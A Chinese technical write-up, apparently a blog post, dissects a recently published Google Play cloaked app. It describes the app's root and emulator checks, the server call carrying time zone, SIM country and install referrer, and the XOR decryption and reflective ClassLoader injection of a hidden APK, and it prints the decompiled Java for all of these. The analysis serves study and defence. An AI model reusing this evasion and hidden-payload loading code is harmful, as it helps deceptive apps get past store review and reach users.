这里以一个最近上架的APP为例,讲解目前Google马甲包的常见技术方案。
上架时间:2026/4/28
APP链接:https://play.google.com/store/apps/details?id=com.gbt2uf8vd1.epf07sejvq

它的主要思路如下:
1.先通过ip和locale做第一道判断,如果通过,则解密并加载dex文件
2.在dex文件中,对时区,mcc,渠道来源,是否root等进行第2道判断
3.通过第2道判断后,才解压启动B面apk
dex解压后的路径位于:/data/user/0/com.gbt2uf8vd1.epf07sejvq/cache/izfsdcpr
dex主要完成的工作如下:
- 本地先做一次 root/模拟器特征拦截。
- 再把时区、归因、SIM 信息发给服务端。
- 服务端返回开关值,决定 jinA 还是 jinB 。
- 如果是 B,就用服务端给的 key 去 XOR 解密 assets/Bsdfafra.txt ,生成 apk,再通过反射动态加载运行。
详细的A/B判断流程
- 启动入口在 nbqlocox.java , onCreate() 里直接 new T4W6IcG2LjRe 并调用 zdgpigbui3se(this) 。
- 主控逻辑在 T4W6IcG2LjRe.java 。
- 一进来先跑 Ycbmpoaph.jhsey0esva() ,这块是混淆/初始化垃圾代码,对 A/B 主判断不是核心。
- 接着调用 qmrpmt.java 的 aqfhnc() 做环境拦截:
- 查常见 su 路径
- 执行 which su
- 看 Build.TAGS 是否含 test-keys
- 看系统指纹是否含 generic
- 如果 qmrpmt.aqfhnc() 为 true ,代码直接走 goknbjakgjb() ,也就是回退到 A 面,不再继续服务端判定。
- 如果本地检测通过,开始收集参数并发请求:
- 时区偏移 shiQu
- 安装归因 gy ,由 cgamydjb.java 取 InstallReferrer
- SIM 国家码 simKa
- 然后调用网络层访问固定地址,请求结果里重点看两个字段:
- SKfjsadyN
- LlNL4WWN
- 判定规则很直接:
- 如果 SKfjsadyN != “NVsjfhaw” :写入 jinA=true ,走 A 面
- 如果 SKfjsadyN == “NVsjfhaw” :写入 jinB=true ,并把 LlNL4WWN 保存到 ppsqkgo ,然后进入 B 面加载流程
- 这些状态都保存在 jxznc.java 对应的 SharedPreferences(“ps”) 里:
- jinA
- jinB
- ppsqkgo
- 进入 B 面后, T4W6IcG2LjRe.vkdjguqnngla() 会先确认:
- jinB == true
- ppsqkgo 不为空
- 然后创建 Vsadfasdf.java :
- 资源文件名固定是 Bsdfafra.txt
- 解密 key 就是前面服务端下发并保存在 ppsqkgo 的值
- 解密过程不是标准 unzip,而是“跳过头部 + XOR 解密”:
- 先打开 assets/Bsdfafra.txt
- 先跳过前 16 字节
- 后续内容按 key 循环 XOR
- 输出到 filesDir 下,并改成 .apk
- 如果解密成功, T4W6IcG2LjRe.ukyypuulmp() 会动态加载这个 apk:
- 反射拿到 BaseDexClassLoader.pathList
- 调用 addDexPath(…) 把解出来的 apk 注入 ClassLoader
- 再反射加载类 org.ureh.ufcqqqf.usvx.smhogdbu
- 调它的方法 xjnynlrx(Activity) ,这就是 B 面入口
- 任一步失败,都会回退 goknbjakgjb() ,也就是走 A 面。
另外,补充一下对VpsCheck和RootCheck的说明
- VpsCheck.java 是模拟器/虚拟化检测类,它检查的内容包括:
- Build.HARDWARE / MANUFACTURER / MODEL 是否含 virtual 、 qemu 、 vbox 、 vmware 、 kvm 、 xen
- Build.FINGERPRINT / PRODUCT / BRAND 的模拟器特征
- /proc/cpuinfo 里是否有 hypervisor
- 某些系统文件里是否有虚拟化关键字
- 但当前源码里没搜到它的调用点,所以它 没有实际参与现在这条 A/B 启动链 。
- RootCheck.java 也是类似情况:实现了 root 检测,但当前主流程不用它,用的是 qmrpmt 。
B 面 apk 解密/加载流程
下面是dex的部分源码
1. 模拟器检测
package org.ureh.ufcqqqf.usvx01;
import android.os.Build;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
/* JADX INFO: loaded from: classes.dex */
public class VpsCheck {
public static boolean isRunningOnVps() {
return checkVirtualizationFeatures() || checkSystemProperties() || checkCpuInfo() || checkFileSystem();
}
private static boolean checkVirtualizationFeatures() {
String[] strArr = {"virtual", "vbox", "qemu", "vmware", "kvm", "xen"};
String lowerCase = Build.HARDWARE.toLowerCase();
String lowerCase2 = Build.MANUFACTURER.toLowerCase();
String lowerCase3 = Build.MODEL.toLowerCase();
for (int i = 0; i < 6; i++) {
String str = strArr[i];
if (lowerCase.contains(str) || lowerCase2.contains(str) || lowerCase3.contains(str)) {
return true;
}
}
return false;
}
private static boolean checkSystemProperties() {
return Build.FINGERPRINT.toLowerCase().contains("generic") || Build.PRODUCT.toLowerCase().contains("sdk") || Build.BRAND.toLowerCase().contains("google_sdk");
}
private static boolean checkCpuInfo() {
String line;
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("cat /proc/cpuinfo").getInputStream()));
do {
try {
line = bufferedReader.readLine();
if (line == null) {
bufferedReader.close();
return false;
}
if (line.toLowerCase().contains("hypervisor")) {
break;
}
} finally {
}
} while (!line.toLowerCase().contains("virtual"));
bufferedReader.close();
return true;
} catch (Exception unused) {
return false;
}
}
private static boolean checkFileSystem() {
String[] strArr = {"/sys/class/dmi/id/product_name", "/sys/class/dmi/id/product_version", "/proc/version"};
for (int i = 0; i < 3; i++) {
File file = new File(strArr[i]);
if (file.exists() && containsVirtualizationKeywords(file)) {
return true;
}
}
return false;
}
private static boolean containsVirtualizationKeywords(File file) {
String[] strArr = {"virtual", "vmware", "qemu", "xen", "kvm"};
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("cat " + file.getAbsolutePath()).getInputStream()));
while (true) {
try {
String line = bufferedReader.readLine();
if (line == null) {
bufferedReader.close();
break;
}
for (int i = 0; i < 5; i++) {
if (line.toLowerCase().contains(strArr[i])) {
bufferedReader.close();
return true;
}
}
} finally {
}
}
} catch (Exception unused) {
return false;
}
}
}
2. root检测
package org.ureh.ufcqqqf.usvx01;
import android.os.Build;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
/* JADX INFO: loaded from: classes.dex */
public class RootCheck {
public static boolean isDeviceRooted() {
return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
}
private static boolean checkRootMethod1() {
String[] strArr = {"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su"};
for (int i = 0; i < 9; i++) {
if (new File(strArr[i]).exists()) {
return true;
}
}
return false;
}
private static boolean checkRootMethod2() {
boolean z = false;
Process processExec = null;
try {
processExec = Runtime.getRuntime().exec(new String[]{"which", "su"});
String line = new BufferedReader(new InputStreamReader(processExec.getInputStream())).readLine();
if (line != null) {
if (!line.isEmpty()) {
z = true;
}
}
if (processExec != null) {
processExec.destroy();
}
return z;
} catch (Exception unused) {
if (processExec != null) {
processExec.destroy();
}
return false;
} catch (Throwable th) {
if (processExec != null) {
processExec.destroy();
}
throw th;
}
}
private static boolean checkRootMethod3() throws Throwable {
String str = Build.TAGS;
if (str != null && str.contains("test-keys")) {
return true;
}
try {
String strExecuteCommand = executeCommand("getprop ro.build.fingerprint");
if (strExecuteCommand != null) {
return strExecuteCommand.contains("generic");
}
return false;
} catch (Exception unused) {
return false;
}
}
private static String executeCommand(String str) throws Throwable {
Throwable th;
Process processExec;
try {
processExec = Runtime.getRuntime().exec(str);
} catch (Exception unused) {
processExec = null;
} catch (Throwable th2) {
th = th2;
processExec = null;
}
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(processExec.getInputStream()));
StringBuilder sb = new StringBuilder();
while (true) {
String line = bufferedReader.readLine();
if (line == null) {
break;
}
sb.append(line).append("\n");
}
String strTrim = sb.toString().trim();
if (processExec != null) {
processExec.destroy();
}
return strTrim;
} catch (Exception unused2) {
if (processExec != null) {
processExec.destroy();
}
return null;
} catch (Throwable th3) {
th = th3;
if (processExec != null) {
processExec.destroy();
}
throw th;
}
}
}
3. 获取并判断时区,sim卡信息,渠道安装来源等
package org.ureh.ufcqqqf.usvx01;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;
import java.io.File;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.TimeZone;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.HttpUrl;
import org.json.JSONException;
import org.json.JSONObject;
import org.ureh.ufcqqqf.usvx01.cgamydjb;
import org.ureh.ufcqqqf.usvx01.wljz;
/* JADX INFO: loaded from: classes.dex */
public class T4W6IcG2LjRe {
private static final String TAG = "lol-T4W6IcG2LjRe";
public static String vsjgoyuqlgmavg = "Kshfyqosnv";
private String gsimKa;
private HashMap<String, Object> ldb;
private String ppsqkgo;
private Activity s_context;
private double timeDiff;
private String ukj = "https://www.wandawndwa.com/hrdxjl";
private String fjpcebtx = "2vFBt2EUOBVSZC9l";
private String yobhngtxqq = HttpUrl.FRAGMENT_ENCODE_SET;
String hkgqottkgk = "dalvik.system.BaseDexClassLoader";
String ykutjjcahw = "org.ureh.ufcqqqf.usvx.smhogdbu";
String s_className_method = "xjnynlrx";
private String fasgklqf = "LlNL4WWN";
private String vagkfoiab = "SKfjsadyN";
private String vasjgutla = "NVsjfhaw";
private String bisogkayygl = "Bsdfafra.txt";
private boolean isShowLog = false;
private ExecutorService executorService = Executors.newSingleThreadExecutor();
private String ksdjhfq = HttpUrl.FRAGMENT_ENCODE_SET;
private String mvnhaowlfa = HttpUrl.FRAGMENT_ENCODE_SET;
public void hzdx(boolean z) {
this.isShowLog = z;
}
public void zdgpigbui3se(Activity activity) {
this.s_context = activity;
Ycbmpoaph.jhsey0esva(activity);
if (qmrpmt.aqfhnc()) {
Toast.makeText(activity, "debug", 0).show();
goknbjakgjb();
return;
}
this.ldb = new HashMap<>();
ixkzbpzojhwoiok.fonvwn(this.isShowLog);
double offset = ((double) TimeZone.getDefault().getOffset(System.currentTimeMillis())) / 3600000.0d;
this.timeDiff = offset;
this.ldb.put("shiQu", Double.valueOf(offset));
cgamydjb.checkInstallReferrer(this.s_context, new cgamydjb.OnReferrerResultListener() { // from class: org.ureh.ufcqqqf.usvx01.T4W6IcG2LjRe.1
@Override // org.ureh.ufcqqqf.usvx01.cgamydjb.OnReferrerResultListener
public void onInstallReferrerResult(String str) {
ixkzbpzojhwoiok.dexxgohstq("归因返回=====>" + str);
T4W6IcG2LjRe.this.yobhngtxqq = str;
T4W6IcG2LjRe.this.lfjgnvmclg();
}
});
}
/* JADX INFO: Access modifiers changed from: private */
public void lfjgnvmclg() {
this.ppsqkgo = jxznc.idwt(this.s_context, "ppsqkgo", HttpUrl.FRAGMENT_ENCODE_SET);
ixkzbpzojhwoiok.dexxgohstq("start test native goToUrl--" + this.ppsqkgo.isEmpty() + "--" + this.fjpcebtx);
this.ldb.put("gy", this.yobhngtxqq);
if (this.ppsqkgo.isEmpty()) {
try {
Object systemService = this.s_context.getApplicationContext().getSystemService("phone");
if (systemService != null) {
this.gsimKa = (String) systemService.getClass().getMethod("getSimCountryIso", new Class[0]).invoke(systemService, new Object[0]);
}
} catch (Exception e) {
e.printStackTrace();
}
String str = this.gsimKa;
if (str != null) {
this.ldb.put("simKa", str.toLowerCase());
}
ixkzbpzojhwoiok.dexxgohstq("lol- ldb====>" + this.ldb.size());
wljz.with(this.s_context).url(this.ukj).params(this.ldb).encrypt(this.fjpcebtx).cache(300000L).execute(new wljz.Callback() { // from class: org.ureh.ufcqqqf.usvx01.T4W6IcG2LjRe.2
@Override // org.ureh.ufcqqqf.usvx01.wljz.Callback
public void onResult(String str2) {
ixkzbpzojhwoiok.dexxgohstq(T4W6IcG2LjRe.TAG, "数据返回====>" + str2);
if (str2 == null || str2.equals("error")) {
T4W6IcG2LjRe.this.goknbjakgjb();
return;
}
try {
JSONObject jSONObject = new JSONObject(str2);
T4W6IcG2LjRe t4W6IcG2LjRe = T4W6IcG2LjRe.this;
t4W6IcG2LjRe.mvnhaowlfa = jSONObject.optString(t4W6IcG2LjRe.vagkfoiab);
T4W6IcG2LjRe t4W6IcG2LjRe2 = T4W6IcG2LjRe.this;
t4W6IcG2LjRe2.ksdjhfq = jSONObject.optString(t4W6IcG2LjRe2.fasgklqf);
if (!T4W6IcG2LjRe.this.vasjgutla.equals(T4W6IcG2LjRe.this.mvnhaowlfa)) {
jxznc.zztkbi(T4W6IcG2LjRe.this.s_context, "jinA", true);
T4W6IcG2LjRe.this.goknbjakgjb();
return;
}
jxznc.zztkbi(T4W6IcG2LjRe.this.s_context, "jinB", true);
if (!T4W6IcG2LjRe.this.ksdjhfq.isEmpty()) {
jxznc.ayfmkbwgef(T4W6IcG2LjRe.this.s_context, "ppsqkgo", T4W6IcG2LjRe.this.ksdjhfq);
T4W6IcG2LjRe t4W6IcG2LjRe3 = T4W6IcG2LjRe.this;
t4W6IcG2LjRe3.ppsqkgo = t4W6IcG2LjRe3.ksdjhfq;
}
T4W6IcG2LjRe.this.executorService.submit(new Runnable() { // from class: org.ureh.ufcqqqf.usvx01.T4W6IcG2LjRe.2.1
@Override // java.lang.Runnable
public void run() {
T4W6IcG2LjRe.this.vkdjguqnngla();
}
});
} catch (JSONException e2) {
ixkzbpzojhwoiok.dexxgohstq("http解析错误: ===>error=" + e2.getMessage());
T4W6IcG2LjRe.this.goknbjakgjb();
}
}
});
return;
}
vkdjguqnngla();
}
public void goknbjakgjb() {
try {
this.s_context.startActivity(new Intent(this.s_context, Class.forName(this.s_context.getApplication().getPackageName() + "." + vsjgoyuqlgmavg)));
this.s_context.finish();
} catch (Exception e) {
e.printStackTrace();
}
}
/* JADX INFO: Access modifiers changed from: private */
public void vkdjguqnngla() {
ixkzbpzojhwoiok.dexxgohstq("====>" + this.ppsqkgo);
ixkzbpzojhwoiok.dexxgohstq("=== 强制使用新版解密(无头部、txt格式)===");
if (jxznc.amoryrzrtxihvu(this.s_context, "jinB", false)) {
String str = this.ppsqkgo;
if (str == null || str.isEmpty()) {
ixkzbpzojhwoiok.jorztja("❌ 密钥为空,无法解密");
goknbjakgjb();
return;
}
Vsadfasdf vsadfasdf = new Vsadfasdf(this.s_context, this.bisogkayygl, this.ppsqkgo);
if (vsadfasdf.VSDdsadgw()) {
File file = new File(vsadfasdf.gsadkhqjalf());
if (file.exists() && file.length() > 0) {
ixkzbpzojhwoiok.dexxgohstq("✅ 解密成功!文件有效!");
ukyypuulmp(file);
return;
}
}
goknbjakgjb();
return;
}
goknbjakgjb();
}
private void ukyypuulmp(File file) {
try {
file.setReadable(true, false);
file.setWritable(false, false);
Object objInvoke = Context.class.getMethod("getClassLoader", new Class[0]).invoke(this.s_context, new Object[0]);
Field declaredField = Class.forName(this.hkgqottkgk).getDeclaredField("pathList");
declaredField.setAccessible(true);
Object obj = declaredField.get(objInvoke);
obj.getClass().getMethod("addDexPath", String.class, File.class).invoke(obj, file.getAbsolutePath(), null);
Class<?> cls = Class.forName(this.ykutjjcahw, true, this.s_context.getClassLoader());
cls.getDeclaredMethod(this.s_className_method, Activity.class).invoke(cls.newInstance(), this.s_context);
} catch (Throwable th) {
ixkzbpzojhwoiok.jorztja("加载错误====>" + th.getMessage());
goknbjakgjb();
}
}
}